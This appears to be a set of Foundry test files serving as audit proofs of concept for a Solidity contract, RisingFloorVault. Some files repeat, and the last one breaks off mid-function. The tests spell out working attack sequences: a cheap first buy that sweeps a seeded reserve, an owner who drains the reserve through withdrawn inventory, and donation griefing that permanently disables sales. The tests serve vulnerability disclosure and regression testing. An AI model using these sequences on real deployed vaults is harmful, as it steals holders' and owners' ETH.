// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {RisingFloorVault} from "src/RisingFloorVault.sol";

contract ScratchToken is ERC20 {
    constructor() ERC20("Scratch", "SCR") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

/// @dev ETH that sits in the reserve while `backedSupply == 0` is not priced into the ask: the first
///      buyer pays `openingPrice` for a handful of base units and then redeems the whole reserve.
contract IdleReserveCaptureTest is Test {
    address internal constant OWNER = 0xD3f26A6Be348440110161dFD5748E7DE7B08cf69;
    address internal attacker = address(0xBAD);

    RisingFloorVault internal vault;
    ScratchToken internal token;

    function setUp() public {
        vault = new RisingFloorVault(OWNER);
        token = new ScratchToken();
        vm.startPrank(OWNER);
        vault.setSpreads(300, 100); // README's suggested 3% premium / 1% fee
        vault.setOpeningPrice(0.001 ether); // README's example opening price
        vault.setToken(address(token));
        vm.stopPrank();
        token.mint(address(this), 1_000_000e18);
        token.approve(address(vault), type(uint256).max);
        vault.depositInventory(1_000_000e18);
    }

    /// README "After launch" step 5: the owner seeds the reserve with a donation before any sale.
    function test_seedDonationBeforeFirstSaleIsCapturedByFirstBuyer() public {
        vm.deal(OWNER, 10 ether);
        vm.prank(OWNER);
        (bool ok,) = address(vault).call{value: 10 ether}("");
        require(ok, "seed donation failed");
        assertEq(vault.reserve(), 10 ether);
        assertEq(vault.backedSupply(), 0);

        // The quoted ask ignores the 10 ETH already in the reserve.
        uint256 paid = 1 wei;
        vm.deal(attacker, paid);
        uint256 start = attacker.balance;

        vm.startPrank(attacker);
        uint256 got;
        try vault.buy{value: paid}(0) returns (uint256 out) {
            got = out;
        } catch {}
        if (got > 0) {
            token.approve(address(vault), got);
            try vault.sell(got, 0) {} catch {}
        }
        vm.stopPrank();

        // A buyer who paid 1 wei must not walk away with the owner's seed. On the current code the
        // attacker holds ~9.9 ETH here (10 ETH * 99% fee-adjusted) for 1 wei paid.
        assertLe(attacker.balance, start, "first buyer extracted the idle reserve");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {RisingFloorVault} from "src/RisingFloorVault.sol";

contract ScratchToken2 is ERC20 {
    constructor() ERC20("Scratch", "SCR") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

/// @dev Unsold inventory the owner withdraws is fungible with sold tokens, so it can be redeemed
///      against the reserve. Two owner-reachable calls move the whole ETH reserve out and leave the
///      vault's own buyers unable to redeem.
contract InventoryRedeemsReserveTest is Test {
    address internal constant OWNER = 0xD3f26A6Be348440110161dFD5748E7DE7B08cf69;
    address internal alice = address(0xA11CE);
    address internal accomplice = address(0xC0FFEE);

    RisingFloorVault internal vault;
    ScratchToken2 internal token;

    function setUp() public {
        vault = new RisingFloorVault(OWNER);
        token = new ScratchToken2();
        vm.startPrank(OWNER);
        vault.setSpreads(300, 100);
        vault.setOpeningPrice(0.001 ether);
        vault.setToken(address(token));
        vm.stopPrank();
        token.mint(address(this), 1_000_000e18);
        token.approve(address(vault), type(uint256).max);
        vault.depositInventory(1_000_000e18);
    }

    function test_withdrawnInventoryRedeemsTheReserveOutFromUnderBuyers() public {
        vm.deal(alice, 10 ether);
        vm.prank(alice);
        uint256 aliceTokens = vault.buy{value: 10 ether}(0);
        uint256 aliceQuoteBefore = vault.quoteSell(aliceTokens);
        assertGt(aliceQuoteBefore, 0);
        uint256 reserveBefore = vault.reserve();

        // Owner moves unsold inventory equal to the backed supply to an accomplice...
        uint256 supply = vault.backedSupply();
        vm.prank(OWNER);
        vault.withdrawInventory(accomplice, supply);

        // ...who redeems it against the reserve Alice's ETH created.
        vm.startPrank(accomplice);
        token.approve(address(vault), supply);
        try vault.sell(supply, 0) {} catch {}
        vm.stopPrank();

        // Alice bought from the vault at the ask; her redemption at the floor must still be funded.
        // On the current code the accomplice holds 9.9 ETH, backedSupply is 0, and Alice's quote is 0.
        assertGe(vault.quoteSell(aliceTokens), aliceQuoteBefore, "vault buyer can no longer redeem");
        assertLe(accomplice.balance, 0, "unsold inventory was redeemed for reserve ETH");
        assertGe(vault.reserve(), reserveBefore, "reserve left without a vault buyer redeeming");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {RisingFloorVault} from "src/RisingFloorVault.sol";

contract ProofToken is ERC20 {
    constructor() ERC20("Proof", "PRF") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

/// @dev Any ETH the vault holds while `backedSupply == 0` is priced into nobody's tokens: the next
///      buy is quoted at `openingPrice` alone, so a 1 wei buyer receives tokens whose floor is the
///      whole reserve and redeems them for (almost) all of it.
contract ZeroSupplyReserveCaptureTest is Test {
    address internal constant OWNER = 0xD3f26A6Be348440110161dFD5748E7DE7B08cf69;
    address internal constant ALICE = address(0xA11CE);
    address internal constant BOB = address(0xB0B);
    uint256 internal constant OPENING = 0.001 ether;

    RisingFloorVault internal vault;
    ProofToken internal token;

    function setUp() public {
        vault = new RisingFloorVault(OWNER);
        token = new ProofToken();
        vm.startPrank(OWNER);
        vault.setToken(address(token));
        vault.setSpreads(300, 100); // README's suggested 3% premium, 1% fee
        vault.setOpeningPrice(OPENING);
        vm.stopPrank();
        token.mint(address(this), 1_000_000e18);
        token.approve(address(vault), type(uint256).max);
        vault.depositInventory(1_000_000e18);
        vm.deal(OWNER, 10 ether);
        vm.deal(ALICE, 1 ether);
        vm.deal(BOB, 1 ether);
    }

    /// README "After launch" step 5: the owner seeds the reserve before the first sale.
    /// Expected: seeded ETH backs the token for its holders. Actual: a 1 wei buyer takes it.
    function test_seedDonationBeforeFirstSaleIsTakenByOneWeiBuyer() public {
        vm.prank(OWNER);
        (bool seeded,) = address(vault).call{value: 10 ether}("");
        // A fix may refuse donations while nothing is outstanding; that is acceptable.
        if (!seeded) return;

        uint256 aliceBefore = ALICE.balance;
        vm.startPrank(ALICE);
        uint256 bought = vault.buy{value: 1}(0);
        token.approve(address(vault), bought);
        uint256 quote = vault.quoteSell(bought);
        if (quote > 0) vault.sell(bought, 0);
        vm.stopPrank();

        assertLe(ALICE.balance, aliceBefore, "1 wei round trip must not extract the seeded reserve");
    }

    /// After the last holder redeems, the fee left behind is captured by whoever buys 1 wei next.
    function test_leftoverFeeAfterFullRedemptionIsTakenByOneWeiBuyer() public {
        vm.startPrank(ALICE);
        uint256 aliceTokens = vault.buy{value: 1 ether}(0);
        token.approve(address(vault), aliceTokens);
        vault.sell(aliceTokens, 0);
        vm.stopPrank();
        assertEq(vault.backedSupply(), 0);

        uint256 bobBefore = BOB.balance;
        vm.startPrank(BOB);
        uint256 bought = vault.buy{value: 1}(0);
        token.approve(address(vault), bought);
        uint256 quote = vault.quoteSell(bought);
        if (quote > 0) vault.sell(bought, 0);
        vm.stopPrank();

        assertLe(BOB.balance, bobBefore, "1 wei round trip must not extract the leftover reserve");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {RisingFloorVault} from "src/RisingFloorVault.sol";

contract ProofToken is ERC20 {
    constructor() ERC20("Proof", "PRF") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

/// @dev `minOpeningPrice` ratchets to `reserve / backedSupply` whenever the supply returns to zero.
///      With a 1 wei buy the supply is 1000 base units; a 0.01 ETH donation then makes that ratio
///      1e31 wei per token (10 trillion ETH per whole token). Redeeming the 1000 units locks it in
///      forever: the owner can never reopen at a usable price, so sales are permanently disabled.
contract RatchetGriefingTest is Test {
    address internal constant OWNER = 0xD3f26A6Be348440110161dFD5748E7DE7B08cf69;
    address internal constant GRIEFER = address(0xBAD);
    address internal constant ALICE = address(0xA11CE);
    uint256 internal constant OPENING = 0.001 ether;

    RisingFloorVault internal vault;
    ProofToken internal token;

    function setUp() public {
        vault = new RisingFloorVault(OWNER);
        token = new ProofToken();
        vm.startPrank(OWNER);
        vault.setToken(address(token));
        vault.setSpreads(300, 100);
        vault.setOpeningPrice(OPENING);
        vm.stopPrank();
        token.mint(address(this), 1_000_000e18);
        token.approve(address(vault), type(uint256).max);
        vault.depositInventory(1_000_000e18);
        vm.deal(GRIEFER, 1 ether);
        vm.deal(ALICE, 1 ether);
    }

    function test_oneHundredthEthGrieferLocksTheOwnerOutOfTheOpeningPriceForever() public {
        uint256 cost = GRIEFER.balance;
        vm.startPrank(GRIEFER);
        uint256 dust = vault.buy{value: 1}(0); // 1000 base units at 0.001 ETH per token
        (bool ok,) = address(vault).call{value: 0.01 ether}("");
        if (!ok) return; // a fix may refuse the donation; acceptable
        token.approve(address(vault), dust);
        vault.sell(dust, 0); // supply back to zero: ratchet fires on the donation-inflated floor
        vm.stopPrank();
        cost -= GRIEFER.balance;
        assertLt(cost, 0.0002 ether, "attack should cost only the 1% fee on the donation");

        // The owner must be able to keep selling at the price the project launched with.
        vm.prank(OWNER);
        vault.setOpeningPrice(OPENING);
        assertEq(vault.openingPrice(), OPENING);

        // And a normal buyer must still receive whole tokens for 1 ETH.
        vm.prank(ALICE);
        uint256 out = vault.buy{value: 1 ether}(0);
        assertGe(out, 1e18, "1 ETH must still buy at least one whole token after the griefing sequence");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {RisingFloorVault} from "src/RisingFloorVault.sol";

/// @dev Minimal standard ERC-20 so this file depends on nothing but the contract under test.
contract PlainToken {
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    uint256 public totalSupply;

    function mint(address to, uint256 amount) external {
        balanceOf[to] += amount;
        totalSupply += amount;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        balanceOf[msg.sender] -= amount;
        balanceOf[to] += amount;
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        balanceOf[from] -= amount;
        balanceOf[to] += amount;
        return true;
    }
}

/// @title ETH that sits in the reserve while `backedSupply == 0` (the README's "seed the reserve"
///        step, or fee residue after a full redemption) is paid out almost entirely to whoever
///        makes the next buy, because the first buy is priced at `openingPrice` and ignores the
///        reserve.
contract SeedSweepTest is Test {
    address internal constant OWNER = 0xD3f26A6Be348440110161dFD5748E7DE7B08cf69;
    address internal constant ATTACKER = address(0xA77AC);
    uint256 internal constant OPENING = 0.001 ether; // 1e15 wei per whole token

    RisingFloorVault internal vault;
    PlainToken internal token;

    function setUp() public {
        vault = new RisingFloorVault(OWNER);
        token = new PlainToken();
        vm.startPrank(OWNER);
        vault.setToken(address(token));
        vault.setSpreads(300, 100); // README's suggested 3% premium, 1% fee
        vault.setOpeningPrice(OPENING);
        vm.stopPrank();
        token.mint(address(vault), 1_000_000e18); // inventory for sale
        vm.deal(OWNER, 10 ether);
        vm.deal(ATTACKER, 1 ether);
    }

    function test_firstBuyerSweepsSeededReserve() public {
        // The owner seeds the reserve with 10 ETH, as the README's "After launch" step 5 suggests.
        // (A fix may refuse the donation; the result is deliberately not asserted.)
        vm.prank(OWNER);
        address(vault).call{value: 10 ether}("");

        uint256 attackerBefore = ATTACKER.balance;

        vm.startPrank(ATTACKER);
        // Buy one whole token for 0.001 ETH: the first buy is priced at openingPrice only.
        // On the current code this returns 1e18 units, now backed by the whole 10.001 ETH reserve.
        uint256 units = vault.buy{value: OPENING}(0);
        // Redeem at the floor minus the 1% fee: currently 9.90099 ETH for 0.001 ETH paid.
        token.approve(address(vault), units);
        vault.sell(units, 0);
        vm.stopPrank();

        // Expected: a buy followed by a sell never extracts ETH from the reserve
        // (README: "a buy-then-sell round trip can never extract ETH").
        // Actual: the attacker turned 0.001 ETH into ~9.9 ETH of the owner's seed.
        assertLe(ATTACKER.balance, attackerBefore, "round trip must not profit");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {RisingFloorVault} from "src/RisingFloorVault.sol";

/// @dev Minimal standard ERC-20 so this file depends on nothing but the contract under test.
contract PlainToken {
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    uint256 public totalSupply;

    function mint(address to, uint256 amount) external {
        balanceOf[to] += amount;
        totalSupply += amount;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        balanceOf[msg.sender] -= amount;
        balanceOf[to] += amount;
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        balanceOf[from] -= amount;
        balanceOf[to] += amount;
        return true;
    }
}

/// @title An unprivileged holder who owns the whole backed supply can push the floor to an
///        astronomical value by redeeming all but one base unit, donating, and redeeming the last
///        unit; the full-redemption ratchet then locks `minOpeningPrice` there forever.
contract DustFloorBrickTest is Test {
    address internal constant OWNER = 0xD3f26A6Be348440110161dFD5748E7DE7B08cf69;
    address internal constant ATTACKER = address(0xA77AC);
    uint256 internal constant OPENING = 0.001 ether; // 1e15 wei per whole token

    RisingFloorVault internal vault;
    PlainToken internal token;

    function setUp() public {
        vault = new RisingFloorVault(OWNER);
        token = new PlainToken();
        vm.startPrank(OWNER);
        vault.setToken(address(token));
        vault.setSpreads(0, 0); // zero fee: the attack costs the attacker nothing but gas
        vault.setOpeningPrice(OPENING);
        vm.stopPrank();
        token.mint(address(vault), 1_000_000e18); // inventory for sale
        vm.deal(ATTACKER, 11 ether);
    }

    function test_dustRemainderRatchetsOpeningPriceToUnusableValue() public {
        // Every attacker step is a low-level call whose success is not asserted, so a fix that
        // refuses one of them (a minimum outstanding size, no donations against dust) still runs
        // through to the property this test is about: once nobody holds a backed token, the owner
        // can restore the configured opening price and buys work at it.
        vm.startPrank(ATTACKER);
        token.approve(address(vault), type(uint256).max);
        // 1. Buy one whole token (1e18 base units) for 0.001 ETH at the opening price.
        address(vault).call{value: OPENING}(abi.encodeCall(RisingFloorVault.buy, (0)));
        // 2. Redeem everything except one base unit. Currently: reserve 1 wei, backedSupply 1.
        address(vault).call(abi.encodeCall(RisingFloorVault.sell, (1e18 - 1, 0)));
        // 3. Donate 10 ETH while one base unit is outstanding. Currently: floor = (1e19+1)*1e18/1.
        address(vault).call{value: 10 ether}("");
        // 4. Redeem whatever is left. Currently: the last base unit returns the whole 10 ETH + 1 wei
        //    (zero fee, so the attack costs gas only) and the ratchet writes the per-unit floor
        //    1e37 into minOpeningPrice and openingPrice.
        address(vault).call(abi.encodeCall(RisingFloorVault.sell, (token.balanceOf(ATTACKER), 0)));
        vm.stopPrank();

        assertEq(vault.backedSupply(), 0, "attacker still holds backed tokens");

        // Expected: with nobody holding a backed token, the vault can resume at its configured
        // opening price and a 1 ETH buy yields 1000 tokens again.
        // Actual: minOpeningPrice is 1e37 wei per token (1e19 ETH per token), the owner cannot
        // lower it, and 1 ETH buys zero base units, forever.
        vm.prank(OWNER);
        vault.setOpeningPrice(OPENING);
        assertEq(vault.quoteBuy(1 ether), 1_000e18);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {RisingFloorVault} from "src/RisingFloorVault.sol";

contract SweepToken is ERC20 {
    constructor() ERC20("T", "T") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

/// Finding: while backedSupply == 0 the ask ignores the ETH already in the reserve, so the first
/// buyer's floor is (reserve + ethIn) / tokensOut. A reserve seeded by the owner (README step 5) or
/// left behind as fees after a full redemption is paid out, almost in full, to whoever buys next,
/// however little they pay. A buy-then-sell round trip must never extract ETH from the reserve.
contract ReserveSweepTest is Test {
    address internal constant OWNER = 0xD3f26A6Be348440110161dFD5748E7DE7B08cf69;
    address internal constant ATTACKER = address(0xBAD);
    uint256 internal constant OPENING = 0.001 ether;

    RisingFloorVault internal vault;
    SweepToken internal token;

    function setUp() public {
        vault = new RisingFloorVault(OWNER);
        token = new SweepToken();
        vm.startPrank(OWNER);
        vault.setToken(address(token));
        vault.setSpreads(500, 100);
        vault.setOpeningPrice(OPENING);
        vm.stopPrank();
        token.mint(address(vault), 1_000_000e18);
    }

    function test_seededReserveIsSweptByTheFirstBuyer() public {
        // README "After launch" step 5: the owner seeds the reserve before the first sale.
        vm.deal(OWNER, 10 ether);
        vm.prank(OWNER);
        (bool seeded,) = address(vault).call{value: 10 ether}("");
        // If a fix rejects donations while nothing is outstanding, there is nothing to sweep.
        if (!seeded) return;

        vm.deal(ATTACKER, 1 ether);
        uint256 before = ATTACKER.balance;

        vm.startPrank(ATTACKER);
        uint256 bought = vault.buy{value: 1 ether}(0);
        token.approve(address(vault), bought);
        vault.sell(bought, 0);
        vm.stopPrank();

        // A round trip must not profit against the reserve (README "Rounding"). On the current
        // code the attacker nets about 9.89 ETH of the owner's 10 ETH seed.
        assertLe(ATTACKER.balance, before, "buy then sell extracted the seeded reserve");
        assertGe(vault.reserve(), 10 ether, "the seed left the reserve");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {RisingFloorVault} from "src/RisingFloorVault.sol";

contract BrickToken is ERC20 {
    constructor() ERC20("T", "T") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

/// Finding: the full-redemption ratchet copies the floor of the last outstanding tokens into
/// minOpeningPrice. Fees retained from earlier redemptions concentrate on whatever dust is left,
/// so the ratchet can be driven to an absurd value by anyone at negligible cost. Nothing can lower
/// it afterwards: setOpeningPrice reverts below it, and buys at that price return dust. The vault
/// is permanently unable to sell again.
contract RatchetBrickTest is Test {
    address internal constant OWNER = 0xD3f26A6Be348440110161dFD5748E7DE7B08cf69;
    address internal constant ATTACKER = address(0xBAD);
    address internal constant HONEST = address(0x600D);
    uint256 internal constant OPENING = 0.001 ether;

    RisingFloorVault internal vault;
    BrickToken internal token;

    function setUp() public {
        vault = new RisingFloorVault(OWNER);
        token = new BrickToken();
        vm.startPrank(OWNER);
        vault.setToken(address(token));
        vault.setSpreads(500, 100);
        vault.setOpeningPrice(OPENING);
        vm.stopPrank();
        token.mint(address(vault), 1_000_000e18);
    }

    function test_anyoneCanRatchetTheOpeningPriceToAnUnusableValue() public {
        vm.deal(ATTACKER, 1 ether + 1);
        uint256 before = ATTACKER.balance;

        vm.startPrank(ATTACKER);
        uint256 big = vault.buy{value: 1 ether}(0); // 1000e18 at the opening price
        uint256 dust = vault.buy{value: 1}(0); // 952 base units at the ask
        token.approve(address(vault), type(uint256).max);
        vault.sell(big, 0); // 0.99 ETH out; 0.01 ETH of fee now backs 952 base units
        vault.sell(dust, 0); // last redemption: ratchet = 0.01 ETH * 1e18 / 952
        vm.stopPrank();

        // The attack is nearly free: about 0.0001 ETH plus gas.
        assertGe(ATTACKER.balance + 0.001 ether, before, "attack should cost next to nothing");
        assertEq(vault.backedSupply(), 0);

        // Every past buyer has been paid in full and the highest price anyone paid was the ask at a
        // 5% premium, so the reopened price must stay in that range (allow 2x), not jump 16 orders
        // of magnitude. On the current code it is about 1.05e31 and the owner cannot lower it.
        assertLe(vault.minOpeningPrice(), 2 * OPENING, "ratchet left the range of prices anyone paid");
        assertLe(vault.openingPrice(), 2 * OPENING, "reopening price is unusable");

        // And an honest buyer must still get a sane amount: at most a 2x markup over the opening.
        vm.deal(HONEST, 1 ether);
        vm.prank(HONEST);
        uint256 got = vault.buy{value: 1 ether}(0);
        assertGe(got, 1 ether * 1e18 / (2 * OPENING), "vault can no longer sell at a usable price");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {RisingFloorVault} from "src/RisingFloorVault.sol";

contract DrainToken is ERC20 {
    constructor() ERC20("T", "T") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

/// Finding: sell() accepts any token, not only tokens the vault sold, capped by backedSupply.
/// The owner withdraws unsold inventory with withdrawInventory and redeems it, taking the ETH
/// that backs a real buyer's tokens. The README promises "Nobody, including the owner, can
/// withdraw ETH from the reserve"; this path does exactly that, and the buyer who paid for the
/// floor can no longer redeem at all.
contract OwnerDrainTest is Test {
    address internal constant OWNER = 0xD3f26A6Be348440110161dFD5748E7DE7B08cf69;
    address internal constant ALICE = address(0xA11CE);
    uint256 internal constant OPENING = 0.001 ether;

    RisingFloorVault internal vault;
    DrainToken internal token;

    function setUp() public {
        vault = new RisingFloorVault(OWNER);
        token = new DrainToken();
        vm.startPrank(OWNER);
        vault.setToken(address(token));
        vault.setSpreads(500, 100);
        vault.setOpeningPrice(OPENING);
        vm.stopPrank();
        token.mint(address(vault), 1_000_000e18);
    }

    function test_ownerTakesTheReserveWithUnsoldInventory() public {
        vm.deal(ALICE, 1 ether);
        vm.prank(ALICE);
        uint256 bought = vault.buy{value: 1 ether}(0);
        assertEq(vault.reserve(), 1 ether);

        // Owner moves unsold inventory out (documented, "cannot touch the reserve") and redeems it.
        vm.startPrank(OWNER);
        vault.withdrawInventory(OWNER, bought);
        token.approve(address(vault), bought);
        (bool ok,) = address(vault).call(abi.encodeCall(RisingFloorVault.sell, (bought, 0)));
        vm.stopPrank();

        // Expected: the owner cannot take ETH out of the reserve; Alice's redemption stays funded.
        assertEq(OWNER.balance, 0, "owner withdrew ETH from the reserve");
        assertGe(vault.reserve(), vault.quoteSell(bought), "reserve no longer covers Alice");
        ok; // silence unused warning
        vm.startPrank(ALICE);
        token.approve(address(vault), bought);
        uint256 out = vault.sell(bought, 0);
        vm.stopPrank();
        assertGt(out, 0, "the buyer who funded the floor could not redeem");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {RisingFloorVault} from "src/RisingFloorVault.sol";

contract ProofToken is ERC20 {
    constructor() ERC20("Proof", "PRF") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

/// @notice Proof for the finding "reserve held while backedSupply == 0 is captured by the first buyer".
///
/// Both tests fail on the current code and pass once ETH sitting in the vault while nothing is
/// outstanding can no longer be redeemed by a single buyer who did not pay for it (for example:
/// no fee is kept on the redemption that empties the backed supply, and donations are refused or
/// escrowed while backedSupply == 0).
contract ResidualReserveCaptureProof is Test {
    address internal constant OWNER = 0xD3f26A6Be348440110161dFD5748E7DE7B08cf69;
    address internal constant ALICE = address(0xA11CE);
    address internal constant BOB = address(0xB0B);
    address internal constant SNIPER = address(0x5111);
    uint256 internal constant OPENING = 0.001 ether; // 0.001 ETH per whole token

    RisingFloorVault internal vault;
    ProofToken internal token;

    function setUp() public {
        vault = new RisingFloorVault(OWNER);
        token = new ProofToken();
        vm.startPrank(OWNER);
        vault.setToken(address(token));
        vault.setSpreads(300, 1_000); // 3% premium, 10% redemption fee (the documented cap)
        vault.setOpeningPrice(OPENING);
        vm.stopPrank();
        token.mint(address(vault), 1_000_000e18);
        vm.deal(ALICE, 100 ether);
        vm.deal(BOB, 100 ether);
        vm.deal(SNIPER, 1 ether);
    }

    function _sellAll(address who) internal {
        uint256 bal = token.balanceOf(who);
        vm.startPrank(who);
        token.approve(address(vault), bal);
        vault.sell(bal, 0);
        vm.stopPrank();
    }

    /// README "After launch" step 5: the owner seeds the reserve before the first sale.
    /// Expected: the seed backs every future holder. Actual: the first buyer takes it with 0.001 ETH.
    function test_seedDonationIsNotCapturedByFirstBuyer() public {
        vm.deal(OWNER, 10 ether);
        vm.prank(OWNER);
        (bool ok,) = address(vault).call{value: 10 ether}("");
        assertTrue(ok);
        assertEq(vault.reserve(), 10 ether);

        uint256 before = SNIPER.balance;
        vm.prank(SNIPER);
        uint256 bought = vault.buy{value: OPENING}(0); // one whole token for 0.001 ETH
        assertEq(bought, 1e18);
        _sellAll(SNIPER);

        // A buy immediately followed by a sell of the same tokens must not extract ETH from the reserve.
        assertLe(SNIPER.balance, before, "first buyer extracted the seed donation");
    }

    /// After every holder redeems, the 10% fee residue stays in the vault with nobody backed by it.
    /// Expected: no address can take it for less than it is worth. Actual: the first buyer takes it.
    function test_feeResidueAfterFullRedemptionIsNotCapturedByFirstBuyer() public {
        vm.prank(ALICE);
        vault.buy{value: 50 ether}(0);
        vm.prank(BOB);
        vault.buy{value: 50 ether}(0);
        _sellAll(ALICE);
        _sellAll(BOB);
        assertEq(vault.backedSupply(), 0);
        uint256 residue = vault.reserve();
        assertGt(residue, 5 ether, "fees left behind as reserve");

        uint256 before = SNIPER.balance;
        uint256 price = vault.openingPrice(); // ratcheted to the last floor reached
        vm.prank(SNIPER);
        uint256 bought = vault.buy{value: price}(0); // one whole token
        assertEq(bought, 1e18);
        _sellAll(SNIPER);

        assertLe(SNIPER.balance, before, "first buyer extracted the fee residue");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {RisingFloorVault} from "src/RisingFloorVault.sol";

contract ProofToken is ERC20 {
    constructor() ERC20("Proof", "PRF") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

/// @dev Any ETH the vault holds while `backedSupply == 0` is priced into nobody's tokens: the next
///      buy is quoted at `openingPrice` alone, so a 1 wei buyer receives tokens whose floor is the
///      whole reserve and redeems them for (almost) all of it.
contract ZeroSupplyReserveCaptureTest is Test {
    address internal constant OWNER = 0xD3f26A6Be348440110161dFD5748E7DE7B08cf69;
    address internal constant ALICE = address(0xA11CE);
    address internal constant BOB = address(0xB0B);
    uint256 internal constant OPENING = 0.001 ether;

    RisingFloorVault internal vault;
    ProofToken internal token;

    function setUp() public {
        vault = new RisingFloorVault(OWNER);
        token = new ProofToken();
        vm.startPrank(OWNER);
        vault.setToken(address(token));
        vault.setSpreads(300, 100); // README's suggested 3% premium, 1% fee
        vault.setOpeningPrice(OPENING);
        vm.stopPrank();
        token.mint(address(this), 1_000_000e18);
        token.approve(address(vault), type(uint256).max);
        vault.depositInventory(1_000_000e18);
        vm.deal(OWNER, 10 ether);
        vm.deal(ALICE, 1 ether);
        vm.deal(BOB, 1 ether);
    }

    /// README "After launch" step 5: the owner seeds the reserve before the first sale.
    /// Expected: seeded ETH backs the token for its holders. Actual: a 1 wei buyer takes it.
    function test_seedDonationBeforeFirstSaleIsTakenByOneWeiBuyer() public {
        vm.prank(OWNER);
        (bool seeded,) = address(vault).call{value: 10 ether}("");
        // A fix may refuse donations while nothing is outstanding; that is acceptable.
        if (!seeded) return;

        uint256 aliceBefore = ALICE.balance;
        vm.startPrank(ALICE);
        uint256 bought = vault.buy{value: 1}(0);
        token.approve(address(vault), bought);
        uint256 quote = vault.quoteSell(bought);
        if (quote > 0) vault.sell(bought, 0);
        vm.stopPrank();

        assertLe(ALICE.balance, aliceBefore, "1 wei round trip must not extract the seeded reserve");
    }

    /// After the last holder redeems, the fee left behind is captured by whoever buys 1 wei next.
    function test_leftoverFeeAfterFullRedemptionIsTakenByOneWeiBuyer() public {
        vm.startPrank(ALICE);
        uint256 aliceTokens = vault.buy{value: 1 ether}(0);
        token.approve(address(vault), aliceTokens);
        vault.sell(aliceTokens, 0);
        vm.stopPrank();
        assertEq(vault.backedSupply(), 0);

        uint256 bobBefore = BOB.balance;
        vm.startPrank(BOB);
        uint256 bought = vault.buy{value: 1}(0);
        token.approve(address(vault), bought);
        uint256 quote = vault.quoteSell(bought);
        if (quote > 0) vault.sell(bought, 0);
        vm.stopPrank();

        assertLe(BOB.balance, bobBefore, "1 wei round trip must not extract the leftover reserve");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {RisingFloorVault} from "src/RisingFloorVault.sol";

contract ProofToken is ERC20 {
    constructor() ERC20("Proof", "PRF") {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

/// @dev `minOpeningPrice` ratchets to `reserve / backedSupply` whenever the supply returns to zero.
///      With a 1 wei buy the supply is 1000 base units; a 0.01 ETH donation then makes that ratio
///      1e31 wei per token (10 trillion ETH per whole token). Redeeming the 1000 units locks it in
///      forever: the owner can never reopen at a usable price, so sales are permanently disabled.
contract RatchetGriefingTest is Test {
    address internal constant OWNER = 0xD3f26A6Be348440110161dFD5748E7DE7B08cf69;
    address internal constant GRIEFER = address(0xBAD);
    address internal constant ALICE = address(0xA11CE);
    uint256 internal constant OPENING = 0.001 ether;

    RisingFloorVault internal vault;
    ProofToken internal token;

    function setUp() public {
        vault = new RisingFloorVault(OWNER);
        token = new ProofToken();
        vm.startPrank(OWNER);
        vault.setToken(address(token));
        vault.setSpreads(300, 100);
        vault.setOpeningPrice(OPENING);
        vm.stopPrank();
        token.mint(address(this), 1_000_000e18);
        token.approve(address(vault), type(uint256).max);
        vault.depositInventory(1_000_000e18);
        vm.deal(GRIEFER, 1 ether);
        vm.deal(ALICE, 1 ether);
    }

    function test_oneHundredthEthGrieferLocksTheOwnerOutOfTheOpeningPriceForever() public {
        uint256 cost = GRIEFER.balance;
        vm.startPrank(GRIEFER);
